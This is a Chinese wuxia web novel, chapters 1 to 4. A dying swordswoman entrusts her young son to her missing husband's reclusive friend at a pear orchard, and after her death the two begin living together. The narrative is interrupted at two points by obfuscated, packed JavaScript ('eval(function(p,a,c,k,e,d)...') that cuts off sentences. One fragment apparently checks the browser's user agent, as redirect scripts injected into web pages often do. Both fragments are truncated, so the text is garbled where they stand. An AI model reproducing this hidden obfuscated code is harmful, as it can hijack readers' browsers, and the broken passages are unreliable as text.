《赴红尘》 1. 第一章 是日风和日丽,春风轻轻一吹,梨树洁白的花苞就在枝头簌簌颤抖。 岑兆安尚不足十岁,因为赶了许久的路而有些疲惫地缀在他娘身后。他娘见他走得慢了,回手轻轻摸了一把他的额发,对他说:“麟儿,累了吧。我们马上就要到了,再坚持一下。” 他娘自己还带着病,说话的声音都有些低弱。麟儿听了她的话,立刻懂事地摇了摇头,说:“娘,我没事。我来搀着你吧。” 柏莹欣慰地由着儿子扶过她的一条手臂,母子俩沿着梨园外的道路又走出几里地,才终于在路边见到一个有人居住的小院。 院里一位老伯正专注地低头修着手里的锄头,一条老狗趴在他的脚边,散养的鸡鸭在院子里一边叽叽咕咕地叫,一边闲庭信步地溜达。 一见到此处的人烟,柏莹终于松了一口气,眼里显出几分期如释重负的神色。她牵着儿子站在院门口,敲了敲院门口的篱笆,问道:“请问,凌无争住在这儿吗?” 趴在老伯脚边的狗率先站了起来,警惕地盯着陌生人。老伯顺着狗的动作抬头望过去,露出一副疑惑的神情。 柏莹还以为他是没听清,于是提高了些声音又问了一遍:“老人家,请问凌无争住在这里吗?” 老伯张嘴“啊啊”了两声,指着自己的耳朵摇了摇头。原来他是听不见的。 她只好手忙脚乱地比划,和老伯一块打着哑谜。 “我们想找一个人,大概这么高,不胖不瘦,是个男的,他会使刀,是学武的。” 柏莹和老伯通过肢体的动作,互相连蒙带猜地沟通着,沟通了半天也没说明白。她最终只好解下自己背后背着的一把剑,挥舞了几下。老伯不知道从中看出了什么,“啊啊”着点了点头,指了指梨园里。 单是比划了半个起手式的剑招,柏莹就有些体力不济,深深地喘了几下。她看着老伯所指的方向,刚要抬脚往那边走,老伯又摇头摆手地阻止了她。 老伯一手两指像是人的两条腿一样,在另一手的掌心“走”了两步,然后指了指院子外的大路,意思是她要找的人已经离开了。 柏莹的脸上立刻变得失望。老伯读懂了她脸上的表情,又急匆匆的回到屋子里拎出来一把椅子,指了指椅子,又指了指屋里,似乎是要他们进去坐坐。 “不了,我们……”柏莹露出一个勉强的笑容,摆了摆手,想要谢过老伯的好意。老伯见她要走,赶紧丢下了椅子,又在手上比划了一个小人走回来的动作。 她这才明白他的意思,她要找的人现在不在,离开这里去了哪,但他之后还会回来,老伯让他们进屋里坐着等。 “那就多谢了。”柏莹欠身行了个礼,然后才领着怯生生躲在她身后的孩子进了屋子里。 母子俩进了屋子里坐下,老伯跟进来给他们倒了两碗水,然后便又回到院子里忙自己手头的事情了。 麟儿抱着他娘的腰,问她:“娘,我们这就到了吗?” 柏莹怜爱地摸着他的头,说:“嗯,应该就是这儿了。我们再等等,看看回来的人是不是他。” 麟儿扬起脸又问:“那我们等下要见的人会领我们找到我爹吗?爹到底去哪了?” 他娘别开视线,不敢看他询问的眼神,只是敷衍的回答:“或许吧。” 麟儿没有继续追问,安分地守在他娘身边,和她一起等待。 母子俩等了大概半个时辰,就看见一个男人步履散漫地拎着酒坛子和包食物的油纸包进了院子里。 那人个子很高,身形不算强壮,却也称不上瘦弱,看起来像是学过几式强身健体的功夫,身上却没有别着刀剑之类的武器。他相貌上看着还很年轻,眼皮和嘴角却懒散地垂着,一副冷冷淡淡的样子,没什么年轻人的朝气。 他举着手里的东西,对听不见的老伯说:“霍伯,我买了牛肉,咱俩今晚喝一盅。” “啊啊!”霍伯见了他,急忙抓住了他的手腕,将他往自己屋子里领。 “怎么……”那年轻男人话没说完,已经抬眼看到了走到了屋外的母子俩。 柏莹喊了他的名字,和他打了招呼:“无争,好久不见了。” 凌无争脸上的惊讶一闪而过,他淡定地点了点头,说:“嫂子,好久不见。你怎么来这里了?岑大哥呢?” 柏莹只是摇了摇头,什么都没说。凌无争便也没接着问,只是请他们进去坐:“先进去坐吧。” 凌无争把手里的东西交给霍伯,和他在外面不知道用手语说了些什么,霍伯点头答应了一番之后,并没有立刻跟进来。 凌无争坐到他们母子的对面,看着那个躲在娘亲背后的小孩问:“这就是岑大哥同你的孩儿?先前听大哥说过几次他的事,不过还一直未曾得见。” “是啊,这就是我与术南的孩子。他大名唤作岑兆安,小名麟儿,再过几月就要十岁了。”柏莹牵着儿子到他面前,介绍道:“麟儿,这是你无争叔叔,他是你爹的好朋友。” 麟儿偷偷地打量着凌无争,虽然怕生,但还是礼数周全地给他作了个揖,喊了声:“无争叔叔好。” 凌无争的视线则毫无遮拦地扫过他全身,一眼就辨出来他的五官哪里长得像爹,哪里长得像娘。岑兆安的爹娘都是好看的人,他自己也尽是挑着父母的优点长,要是把他拎出来摆到哪个庙里,立刻就能当一尊仙人座下的金童子。只是这怕生羞怯的性格不太像他爹娘,让他身上少了些武人的杀伐,多了些书卷气。 麟儿被他盯得害怕,行过礼之后又飞快地躲回了他娘的身后。 麟儿的娘温柔地抚摸着他的耳朵,那个令人害怕的凌无争也不说话。屋里一时陷入无言的尴尬。好在没一会儿,霍伯就端着碗盘进来了。 这会儿正是要吃晚饭的时候。霍伯切好了凌无争买回来的酱牛肉和猪耳朵,先和饭碗一块儿摆上了桌。 柏莹便拍了拍麟儿的肩膀,对他低声吩咐:“去帮霍爷爷搭把手。” 麟儿正好怕着凌无争,听了他娘的话,三两步便追着霍伯跑去了院子里。 凌无争虽没言语,心里已经开始推测这对母子来这里寻他的因果了。他十几岁刚出师入世的时候,就和麟儿的爹一块行走过江湖。后来虽然因为各自的前程分别,再没有当初那样的形影不离,但此后数年间也匆匆见过几次,互相聊过近况,两人莫逆之交的情分也一直没有淡去。 凌无争上次同岑术南见面,已是两三年前,那时他曾告诉过岑术南,若有要紧事,该到哪里寻他。这对母子大概也是因此才找到了这里。只是不知道岑术南为什么没有同他们一起,这对母子过来又是因为何事。 柏莹大概是有些话想避着孩子,不想被他听见,所以一直没有急着对凌无争说出前因后果。 等几人吃过晚饭,麟儿在霍伯的床上睡着了之后,柏莹才邀凌无争去院子里说话。 凌无争是个别人不说,他就不会主动问话的冷淡性子。柏莹知道他的秉性,所以自己先开口起了个话头。 “我生麟儿的时候在鬼门关前走过一遭,那时幸好有济春派的朋友在旁,我们母子才捡回一双性命。不过自那之后,我这身体始终都好不起来。”柏莹说着,露出了一丝遗憾的神色,“再没法像当年一样,只背着一把剑就敢四处行走江湖了。” 凌无争没有跟着一起唏嘘,只是客客气气地一点头:“曾经听岑大哥提起过。” 柏莹继续说道:“之前因为我身体不好,术南时常与济春派的人一起出门,替我寻找灵药。麟儿那时还小,便一直同我在家里休养,从未出过远门。直到去年,我这病躯终于有了些许起色,我们想着麟儿也长大了,该领他回天地剑宗看看。” 天地剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然柏莹意识到自己陷入了危险,她为什么不去找天地剑宗求助?剑宗于各大城镇都设有接应门派弟子的传信点。他们一家不论住在何处,距剑宗的传信点大抵都是要比竺阳的梨园还要近的。 而且凌无争眼下虽然住在竺阳的梨园,却不是一年到头都待在此处。柏莹舍近求远地赶到这里,就不怕扑了个空吗? 柏莹答道:“我与术南成婚之时,择了一处僻静的地方定居。除了那位为我诊病的朋友,就只有剑宗的师兄弟们知道我们住在哪里。” 也就是说,岑术南在和一位不知名的朋友离开之后便失了踪,在那之后还有杀手前去他们一家的隐居之处谋杀柏莹母子。且不论岑术南到底去了哪里,是生是死。能派出杀手袭击她们母子的人,大抵就在那位济春派的朋友和剑宗中人之间。柏莹为了安全起见,不敢去找剑宗的人帮忙,这才想到了要来竺阳寻他。 凌无争思索着问道:“所以你是想找我帮忙调查这件事?” “不。”柏莹面上的表情现出心中已有决定的坚毅,“我知道你从棘肓山出来之后就不再涉足江湖了,所以我这次来不是为了麻烦你帮忙寻找术南的下落。他的去处和那个杀手的来历我自己会去调查。只是有一样——我不能带着麟儿去做这些事。” 她回头望向幼子正在安睡的屋子,眼里流露出一丝柔和:“麟儿还不知道这些事,我暂且也不想让他知道。无争,看在术南同你多年朋友的份上,我想拜托你替我照顾他一段时间。” 江湖中能识得凌无争的人并不多,再加上他早已远离江湖多年,旁人无论如何也想不到柏莹会把小儿托付在他这里。竺阳确实是柏莹所能想到的最佳的去处。 凌无争沉默了许久后,才郑重地点头应下:“好。” 柏莹似是终于放下心里的一个担子,轻吸了一口气,可她还没来得及将那口气呼出去,已经被春夜寒凉的风呛起一阵咳。 她咳嗽得越来越严重,后来甚至带上了喘息的鸣音。凌无争顾不上冒犯,握住了她的手腕,摸出一把让他心中沉重的脉。 “你是在之前与杀手搏命时受的内伤?” 柏莹尽力压抑着自己的咳嗽,没有回答他。但即便她不答,凌无争也从脉象上摸出了大概——这人恐怕命不久矣了。 2. 第二章 柏莹在寒风中咳得止不住。 凌无争站起身,道:“我先领你们去后面歇息。有什么事,明日再说。”说完,他便转身去了霍伯的屋子里。 屋里只点了一盏油灯,照着小孩蜷在窄床上睡得正香的背影。凌无争对霍伯点了点头,打着手势告诉霍伯自己要带这孩子离开,让霍伯早点休息。 霍伯看起来似乎是有几分在意和担忧,然而囿于无法言明,只好由着凌无争走到床边抄过小孩的肩颈与膝弯,将他带出了房间。 凌无争走到屋外,对柏莹说:“园子里还有一间茅屋,你们今晚且先在那里住下。”他抱着麟儿走在前,引着柏莹随他一起走向梨园深处。 梨园深处漫着淡淡的梨花香,重叠斑驳的树影之后藏着一间隐在夜色里的茅屋。 那间茅屋并不算大,半间屋子里满满当当地堆放着农具和杂物,显得靠墙摆着的床便有些局促。 凌无争俯身将怀中小儿放在床上,原本睡得香甜的小东西也不知道怎么了,突然蹙着眉头抓住了凌无争的衣襟不撒手,是个不肯下去的架势。 凌无争捏着他的手指,强行从自己的衣服上择了下去,落在床上的小孩儿不安地追着他的方向翻了个身,还没等再伸手抓住人,就被凌无争退后半步避开了。 凌无争不动声色地捋平了自己的衣襟,然后才转过身对柏莹说:“你们先歇在这里,有什么事可以到前院去找我。” 柏莹压抑着咳嗽,掩唇说了声多谢。 凌无争不便在此处久待,安顿好她们母子便离开了茅屋。 梨园虽然广阔,一共也就两间房两张床。凌无争一个人站在园子里,一时也没什么地方可去。 他重新走回前院,脚步声惊醒了霍伯屋外趴着的老狗。那狗恪尽职守地替听不见的主人充当耳朵,辨清走过来的人是它熟悉的凌无争之后,才肯重新趴回门口休息。 凌无争哪也没去。他不确定想要谋害柏莹母子的杀手会不会追到这里,至少今夜,他得守在这里,以防万一。 他在檐下靠着墙坐了,在周遭的寂静中捋着被不速之客打乱的思绪。 凌无争初入江湖时,结交下的第一个朋友就是岑术南,后来更是和他一同经历过棘肓山的事。如今岑术南的妻儿有求于他,凌无争就是为了他们当初的那些情义,也不会拒绝柏莹的请求。 可他今日暂且能够安排他们住下来,为他们守着这一夜的平安,明日又当如何? 柏莹受了重伤,想安然离开竺阳都是勉强,她还能出去寻找岑术南的下落吗?如果岑术南失踪的事一直没有结果,他又要照顾那个孩子到何时? 以后…… 凌无争后脑磕在墙上,仰头去看今夜稀疏的星河。 以后该当如何? 日复一日、得过且过的日子过了太久,突然间要为了将来可能会发生的事做打算,措手不及之下几乎令凌无争生出几分陌生的不适感。 他乱糟糟地想着棘肓山,想着自己要如何和霍伯交代再留两个人住在梨园,想着今夜未来得及喝到的酒和荷关入夏后的湖水。 他望着头顶的星辰好像变得越来越遥远,再不复当初对月共酌的知己模样。 直到天色渐白,笼里的鸡都抻直了脚,凌无争才突然站了起来,在破晓中离开了梨园。 等霍伯捶着腰推开房门时,屋外已没了凌无争的踪影。 -- 柏莹虽然打算安顿好幼子之后,就独自出去寻找岑术南的下落,可她身上新伤加旧疾,支撑着她带麟儿投奔凌无争的那口气再难为继,让她在来到竺阳后的第二天就一病不起。 麟儿一早就被他娘压抑着的咳嗽惊醒,他匆忙踩了鞋子下地,准备给他娘倒杯水喝。然而等他拎着空空如也的茶壶什么也倒不出来时,他才彻底地清醒过来,意识到自己正处在一个全然陌生的房间里。 麟儿拎着壶,转身对他娘说:“娘,我出去打点水。” 柏莹一手掩着咳嗽,一手对他指了个方向,气息不稳地说:“去前院……找霍爷爷帮你……” 麟儿懂事地点了点头,提上鞋子就出了门。 他急匆匆地推开房门,屋外的景色一下子猝不及防地撞进了他的眼中。 屋外是连绵的梨花树,白得耀眼,绿得青翠。枝叶和花瓣在清风中轻颤,好像能拂掉人心上的所有尘埃。 麟儿想起学堂里的先生曾经同他讲过桃花源,他那时还想不出桃花源有哪里值得称道,眼下却是明白了,世间确实有风景令人如坠仙境。 然而景色再美,他也不敢多待。他顺着他娘指给他的方向沿小路走了不远,就看见了霍伯的院子,而霍伯正拿着一杆笤帚在院子里洒扫。 “霍爷爷,我……”麟儿话说出口,又想起来霍伯听不见,只好跑到他眼前,绞尽脑汁的想要求他帮忙。 霍伯看不懂他抓耳挠腮般的手势,但他看见了麟儿手中拿着的茶壶,便猜出来小孩儿这是要同他讨水喝。 霍伯接过他手中的壶,有条不紊地走回屋里,跟在他身后的麟儿却像是被什么催着一样心绪难定。 他想问霍伯,他该去哪里给他娘请大夫?还想问霍伯,昨晚他娘领他见过的人去了哪里? 他不知道自己该怎样用手势或者动作让霍伯知道他在想什么,只好在霍伯递给他重新灌满的茶壶时,焦急地拉住了霍伯的袖子,扯着他往园子里走。 霍伯一头雾水地跟在他后面,直到进了茅屋,见到咳喘不停的柏莹时,才明白这小孩领他过来是要做什么。 霍伯帮麟儿一起扶着他娘坐起来喝了些水,然后他走到桌前,以指尖蘸水,在桌面上画着什么。 麟儿隐约看懂了水渍勾勒出的曲折线条像是一条路。线条画到终点,霍伯右手的手指搭在自己的左腕,做出了一个号脉的动作,然后他又点了点终点处,麟儿便明白霍伯这是给他指明了医馆的所在。 他指尖沿着霍伯画出来的路描摹了一遍,把左折右拐的方向记到心里,跳起来便往梨园外跑去。 梨园外是一条宽敞的大路,霍伯指给他的方向同他昨天的来路相反。 麟儿跑出去一段陌生的路,刚要按着霍伯画出来的岔路拐弯,迎面便撞上了走过来的两个人。 一个白胡子老头颤颤巍巍地坐在驴上,而在一旁牵着驴的就是他昨日刚见过的凌无争。 凌无争伸手拦住跑得太急没能及时刹住脚的小孩,冷静地问他:“怎么了?” “我娘……”麟儿急促地呼吸着,说:“我娘生病了……她咳得好厉害。” 无争按着他的肩膀,将他推得转身向来时的方向,对他说:“我知道了。正好我请了大夫来看。一起回去吧。” 麟儿抬袖拭着自己头上的热汗,跟着凌无争和毛驴一起走。他只顾得上为那毛驴慢悠悠的步子感到着急了,压根来不及细想凌无争是怎么未卜先知的知道他娘生了病,替她从别处请来了大夫的。 -- 白胡子一大把的老大夫被请到了柏莹的床边。他一边号着脉,一边一脸凝重地捋着自己的胡子。 柏莹已经没那么咳了,但她吸进肺腑的气息仍旧无法平稳。她望了一眼守在一旁的幼子,被他小脸儿上挂满的担忧刺得心疼。她随便想了个借口诓他出去:“麟儿,娘想喝粥。你和霍爷爷一起去煮一些送来。” 麟儿猛然想起从起床到现在,他娘确实还没进过饭。他认真地点了点头,拉着霍伯离开了茅屋。 待他们走后,老大夫斟酌着问柏莹道:“夫人此前可是中过什么毒?” 凌无争略一凝眉,抬起盯着桌角的视线,顺着老大夫的话音也跟着看向了柏莹。 “确实有过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老大夫在他们二人的无言中写好了药方。他将药方递给凌无争,嘱咐说:“按此方抓药,早晚服用。若有剧咳不止时,可再加饮半服。” 凌无争略一颔首,道:“多谢。” 然后他走在前替老大夫打开了屋门,说:“我送您回去。” -- 自此之后,柏莹和麟儿就住在了梨园中的茅屋里。 凌无争雇了一位住在附近的村妇时常过来照顾一下,他自己则寻遍了竺阳周边的各路名医。可惜真如那白胡子老大夫所说,柏莹身上这病,非得是江湖上的神医不能治。 柏莹为自己所添的麻烦一一谢过了他,唯独在治病这件事上,不肯让凌无争惊动任何江湖人。 既然柏莹如此决定了,凌无争便再未提起此事。 以凌无争的个性来说,旁人决心去做的事情,他从不会插手,也不会多余去为此费心。 柏莹在丈夫失踪的时候,没有拜托他去寻找岑术南的下落,而是将孩子托付于他,这便是她的选择。 凌无争既然应承下来这份约定,对他而言,只要他能护住故人之子的安危,便是无愧于心、无愧于人。 乡野间的医师治不了柏莹身上的伤病,也遏制不住她所中的毒。从梨花初绽,到最后一片梨花落下枝头,不过月余的时间,柏莹便过世了。 凌无争曾问过她,还有什么要对那孩子说的话,还有没有未说出口的嘱托。 柏莹却只是摇了摇头,平静地笑着说:“我丈夫信得过你,我也信得过你。麟儿跟着你在一起,不至于长成一个对世人有害的坏胚子,便足够了。如果术南能够找到你们,自然最好,要是连他也……那就更没关系了。 “说起来虽然还有些不舍,但真到了那一天,无论他遇到了什么,我们夫妇两个也都无从知晓了。这其中的取舍,都随他罢。 “无争,你不正是如此看人、看这个世界的吗?” 3. 第三章 岑兆安过了许多年,才想明白那段时间发生的事。但在当时,他只是个懵懂的孩子,在保护着他的大人的羽翼下,对那些复杂的来龙去脉一无所知。 柏莹被葬在了梨园深处,旁边就挨着霍伯妻子的坟墓。 还没到十岁的麟儿跪在娘的墓前哭得上气不接下气,除了失去亲人的悲痛,还有孤身一人的惶然。 霍伯看他这副样子,怜爱地叹了口气,轻轻地抱住了他,好让小孩有个可以凭依的怀抱。凌无争则抱着胳膊站在一旁,不知道在想些什么,脸上难得没有露出不耐烦的神色,只是垂着眼皮看着地面。 等麟儿哭到上气不接下气直抽噎的时候,霍伯才温柔又坚决地要把他带离这里。 霍伯在他被泪水泡得模糊的视线里比划了几个动作,麟儿快哭晕了的脑子里一时解析不出来是什么意思,不肯走。霍伯见他依旧固执地留在原地,有几分焦急起来。一直没有言语的凌无争这才在旁出声作了翻译:“别哭了。你娘今后就睡在这里,你之后想什么时候过来见她都可以。现在,你先跟着我们回去,别让霍伯替你担心。” 麟儿听懂了凌无争的话,也是多少有几分惧怕他,终于肯顺着霍伯搂着他肩膀的力道挪动脚步,一步三回头地往住处走。 梨园里有两处屋舍,一处是临近路边,霍伯的小院;一处在梨园内,是个简朴的茅屋。此前是凌无争暂住在茅屋那里,后来又让给柏莹母子俩住了一段时间。 霍伯带着麟儿回到了自己住在前面的小院,哭累了的小孩被他轻轻拍了几下后背就迷迷糊糊地在他的床上睡着了。 不知道是不是他在睡着之前还在思念爹娘的缘故,阖上眼后没一会儿,麟儿就做了一个梦。 梦里,他回到了自己出生长大的地方,身边的屋舍和道路就像他刚离开时那样,让他恍惚间觉得,从跟着父母去天地剑宗开始,所经历的一切都只是一场噩梦,而他终于在梦最痛的地方醒了过来。 麟儿被心里的急切催着,拔足朝着家的方向奔去。 “爹!娘!”还没到家门口,他已经远远地看见了站在院子里的爹娘,忍不住大声地呼唤他们。 可他的爹娘仿佛没有听见他的声音,只顾着彼此交谈。 麟儿心里没来由的发慌,甚至冒出一种自己就要被他们抛下的预感,这不详的预感逼迫着他跑得更快,想在某些事情来不及之前跑到他们的面前,埋进他们的怀抱里。 可就在他将要跨过门槛进入院子里时,一股无形的力量突然出现在他面前,让他一头撞了上去,再难以前进一分。 他害怕的想要大哭大叫,可当他张开嘴,却发不出任何声音。他的身体也像是变成了石头,从心口飞快地僵到了指尖,只有心里的想法还能在头脑中震耳欲聋。他在自己的心里拼命地喊着爹娘,而近在咫尺的人却丝毫没有注意到他。 那两个人慢慢牵住了彼此的手,一同转身向远处走去,他们与麟儿之间的距离越来越远,直到不知何时涌起的灰雾将他们吞没。 麟儿的视野骤然黑了下去,他大叫了一声:“娘!” 他终于能喊出了声音,也能猛地挥动自己的肢体,可当他再度睁开眼睛,看见的却是霍伯担忧的脸。 霍伯用粗糙的掌心轻轻地擦了擦他的脸,他这才发现,自己不知道什么时候哭得脸都湿了。然后霍伯拍了拍他的胳膊,指了指饭桌。坐在桌边的凌无争正在摆碗筷,他头也没抬地对他说:“过来吃饭。” 麟儿失魂落魄地被霍伯领到桌边坐下,胸口仍然堵得胀痛,丝毫没有食欲。 霍伯见他盯着碗筷发呆,先端过麟儿的饭碗,夹了饭菜递到他嘴边。麟儿被碰到嘴边的食物吓了一跳,这才回过神来,愣愣地看了霍伯一眼。 “啊。”霍伯虽然无法用语言表达想法,眼中的厚重深切却是分毫不差地传达给了他。 麟儿自小的教养让他不忍心辜负霍伯的好意,只好自己接过来,然后在霍伯的目光下味同嚼蜡地吃了几口。 霍伯见他知道自己吃饭了,便放心地转过了头。麟儿勉强咽下去的食物给他本就憋闷的胸口添加了更多的负担,噎得他一呼一吸都要分外用力。他终于真切地意识到娘已经不在了,现在在他身边的只有他不熟悉的霍伯和凌无争。 麟儿吸了一口气,突然开口问凌无争:“无争叔叔,我爹去哪了?” 凌无争抬起眼皮看了他一眼,又轻飘飘地落下,没有出声。 倒不是他不想答,而是他也不知道。 麟儿又锲而不舍地追问:“我爹知道我在这里吗?他会来找我吗?” 凌无争依旧沉默。 麟儿简直被他的沉默吓得胆战心惊。 自从他爹突然不见了之后,他心里一直有好多疑问。他想知道他爹为什么离开?为什么会有人到他们家去袭击他和他娘?为什么他娘带他来到了这里? 从前有娘在,他心中即便有疑惑,也是安定的,不必过于担心。可如今只剩他一人在这个陌生地方,对着不熟悉的人。他忍不住开始揣测,他娘和无争都没有为他解答的问题到底真相为何。 他爹这么久都没有出现,是不是陷入了棘手的麻烦里? 他还好好的活在人世吗? 如果连他爹都不在了,他之后要怎么办? 要是爹娘都离开了他,今后他还能依靠谁? 还有谁会为他遮风挡雨? 麟儿捧着饭碗,突然又开始吧嗒吧嗒地掉眼泪。 霍伯无意间看见了,着急地去拽无争的袖子,用眼神问询他这是怎么回事。无争对霍伯摇了摇头,示意他也没办法,霍伯便只好爱莫能助地叹了口气。 几人用过晚饭后,霍伯起身捡走碗筷,拿到外面收拾。凌无争也起身要走,麟儿却突然叫住了他。 他红着眼圈问凌无争:“无争叔叔,我娘有没有和你说过什么?我以后……以后应该去哪?” “喊我无争就行,我还没那么老。”凌无争先是纠正了小孩对他的称呼,然后才说,“你还同我住在这里。我既然答应过你娘要照顾你,今后一应衣食你不必担心。” “那我爹呢?” 凌无争对上小孩急切、忧虑、又有些隐隐地期待的眼神,险些脱口而出他所知道的那部分真相。可他迟疑了片刻后,最终还是选择轻描淡写地说了一句:“如果他还活着,他会找到这里的。” 麟儿从无争话里的“如果”中听出来他未言明的意思,他追上凌无争,抓着他的衣袖问道:“难道我爹也遇到危险了吗?无争叔……无争,你能带我去找他吗?” “不能。”凌无争十分干脆地拒绝了他,“我和你娘都不知道他的下落,比起我领着你出去找他,还不如等他过来找你。” 麟儿仔细一想,确实也是这个道理。与其他和他爹两人在茫茫天地四处乱撞,等不知何时才有的机缘令他俩重逢,不如候在这一处,等着他爹过来找他。哪怕他爹相识的江湖朋友有成百上千,找到最后,总也能找到凌无争这里。 无争似乎不愿意再同他说下去,拂开自己的袖子,打算离开。他说:“好了,天色不早了,该回去休息了。” 霍伯正好擦着手进来,同无争比划了几下手势。麟儿看着他的动作,猜测霍伯是要留他住在这里。麟儿还没来得及感动地点头答应,凌无争先摆手替他推拒了。 无争也用手势回答:“这里的床太窄,你们两个人睡着太挤了。我领他回到后面屋子里去睡。” 梨园内的茅屋里摆放的床虽然不窄,但麟儿不想和凌无争同榻而眠。在他看来,以凌无争那副拒人千里的样子,没准他晚上翻身的动作稍大一些,就要被无争不耐烦地一脚踢到屋外去。 可霍伯都没有要违拗凌无争的意思,麟儿更是不敢提出反对,只好提心吊胆地跟在无争身后,听他的安排。 当夜,麟儿没有天翻地覆地翻身,也没有磨牙放屁、打震天响的呼噜,可凌无争仍是被他弄醒了好几次。 也不知道这小孩是心里有事以至于夜里睡不安稳,还是从小养成的臭毛病。床上明明还空着一大片够他打滚的地方,他却非要挤到凌无争的身边睡。 在第三次被他缠醒之后,凌无争万分嫌弃地盯着抱着自己胳膊的臭小鬼。感觉自己为了所谓义气,一时冲动,接手了一个不得了的大麻烦。 正当他动手推开小孩快要枕到他胳膊上的脑袋时,麟儿突然在睡梦中哼了一声,然后皱紧了眉头,挤出了一副快哭了的表情,好像生怕自己被抱着的人抛弃了一样。 凌无争手上的动作一顿,最终还是放轻了力道,自己从上方悄悄抽走了胳膊,没有吵醒他。 凌无争披上外衣走到屋外,心中莫名而起的烦躁再也压不住。 和这对母子共同生活在梨园的这段时间,一些被他刻意遗忘的东西总是会被一些无意间发生的场景触发——让他想起 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这套刀法并没有名姓,因为教他修习的师父曾经说过,只要用刀的人始终都在精进,这套刀法就永远都是未完之作。无争只从师父那里学来了十一式,因为直到他离开师父身边时,师父只设想出了十一式。 第一遍刀法挥出去,凌无争的动作间还有几分僵硬和滞涩,好像他当年手持木刀,刚刚从师父那里习得武艺,一招一式之间都是思索和校正。他与师父用刀的习惯不同,手臂的力气也不同,哪怕是从师父那里完完整整学来的刀法,一个不留神,就会和当初所学的有了出入。 而到了第二遍挥刀,无争的招式之间开始变得连贯通畅,刀风中隐隐含着他初入江湖时的意气风发。而那份初初萌发的豪情,还没来得及攀上高峰,便第三遍刀法的衔接中戛然而止。 那是他在经历过棘肓山的奇遇后,就此远离了江湖的缘故。千百种滋味他还未尝遍,就再未行进下去。 落在泥土中的花瓣随着他的气势飞扬起来,却始终无法靠近他半步。仿佛有一道无形的城墙,将他与外界的所有纷扰和悲喜阻隔开来。不闻不问,不言不看。 凌无争密不透风的刀势阻得住梨花,就像他一直小心谨慎地阻挡着往事,避开可能的麻烦。然而那刀风再密,也挡不住突然而至的故人,携带着他们的悲喜渗透进了他的防备。 惊讶,困惑,烦恼,遗憾,沮丧,愤怒,统统混在一起,融成乌糟糟的一团。 无争已经许多年没有体会过这么复杂的情绪,他就像是被迫坐上一架失控的马车,同狂奔的疯马直直冲向深谷悬崖。 在第三遍刀法即将结束的时候,凌无争手中的树枝刀势未收,劈开一个全新的弧度,突然跳出了对第四遍的承接,竟是与之前都不同的动作。 他忽然一凝眉,脚下步伐前踏,将一切拥堵在心中的情绪宣之于刀! 枯枝做成的刀在凌无争的手中与假想中的敌人连拆了十几招,然后刀势在迎击格挡后兜了一圈,内收蓄力,再化为外放的攻势。 刀风越来越急,在无争的攻势攀至顶峰时,枯枝终于禁不住他完全倾泻而出的内力,瞬间皮开肉绽地断成了几十截碎片。 凌无争垂下手,微微喘息着站在原地,有点惊奇和难以置信——他自己设想出的第十二式,竟然在这一刻完成了。 当年他决定离开师门的时候,师父便要他去寻找自己的第十二式。 凌无争在江湖上磕磕绊绊地游历了一阵,当时曾有些不成型的设想,可设想还未来得及丰盈,他先从江湖中脱了身。自那之后便再没有什么进益。 今日却不知触动了什么契机,让他突然把学来的东西与设想的东西融会贯通,如有神助地练成了属于他自己的第十二式。 凌无争低头看着自己粘了树皮碎屑的掌心,感觉那种让他夜不成寐的烦躁已经被涤荡一空,心中有种拨得云开见月明的畅快。 他随手拍了两下掌心,拂去粘在手上的碎屑,也打发掉了险些从腐烂的深沟里爬上来的记忆。 天色已隐约开始透亮。无争又兴致勃勃地以掌为刀,重新比划了几遍他自己的招式。 酣畅淋漓的一番练习过后,刚刚还在困扰着他的一切情绪都被崭新的喜悦驱散,好像永远也赶不走的无趣回忆也被重新封存回忽视的角落。他又可以做一个了无牵挂的人了。 4. 第四章 凌无争练过刀法之后再回到茅屋,发现扰他清梦的小孩已经爬起来穿整齐了衣服,正坐在床边往脚上穿鞋。 两人的视线刚一对上,那小孩立刻就像个受惊的兔子一样,匆忙地低下了头,草草地穿好了鞋子,从他身边跳着逃出去了。 凌无争有点困惑,搞不懂这小孩为什么见了他就像老鼠见了猫,怕得不行。 不过困惑也只是一瞬的。当他躺倒在床上之后,后知后觉的困意立刻就将他俘获,勾着他又睡了个回笼觉。 接下来的几天,凌无争渐渐发现,岑术南和柏莹的儿子好像并没有他认为的那么软弱。 虽然这小孩儿在他娘过世的那天哭了个死去活来,但当他意识到哭也不会让他娘死而复生之后,他开始主动地帮着霍伯做事情,努力地让自己在梨园里也有存在感。 霍伯每天要打理一整片梨园,要准备他们仨的伙食,还要看顾院子里溜达的鸡、护院的狗,几乎是从早到晚没个闲着的时候。 从前梨园里只有凌无争和霍伯的时候,凌无争还会时常帮霍伯搭把手。但自从柏莹过世后,麟儿一下子就成了霍伯的小尾巴,只要是他力所能及的,他都帮着霍伯一起干。 有娘在的时候,他是个羞怯又怕生的小孩儿,几乎片刻不离娘的身边。可当娘没了,爹也不知去向了之后,他很快就振作起来,开始学着自己面对眼前的生活。 有他帮衬着霍伯,本就算不上勤快的凌无争这下更是乐得做起了家中的闲人。 可他清闲了没几天,又觉得不自在了起来。 这感觉很怪。 一方面,他享受着不被旁人所扰的惬意。然而另一方面,一看到那对爷孙俩其乐融融的样子,他又有那么一点儿心向往之,也想参与进去。 凌无争有几次顺手帮霍伯做了些力气活。霍伯待他没什么不同,那尾巴一样的小孩却是别别扭扭地不肯靠到他近前,好似在躲着他。 凌无争觉得有点好笑。这小子夜里睡着了抱着人不撒手,醒来之后却又像是把他当成了什么专吃小孩的妖兽,行事颠三倒四,自相矛盾得很。 凌无争索性找来霍伯,两个人一起聚在茅屋里商量事情。 麟儿在旁偷偷看着他俩的手势,捉摸不透这两个大人要做些什么,心里只是隐约有些不成型的猜测。 过了没一会儿,那两人就像是达成了什么共识。霍伯了然地点着头,离开了茅屋。 小尾巴刚想跟着一起走。便听到凌无争在他背后说:“过来。” 霍伯听不见,这话显然就是说给他听的。 麟儿磨磨蹭蹭地转过身,还是不太敢直视凌无争的眼睛,于是只好盯着他的衣襟,等着听他下一句吩咐。 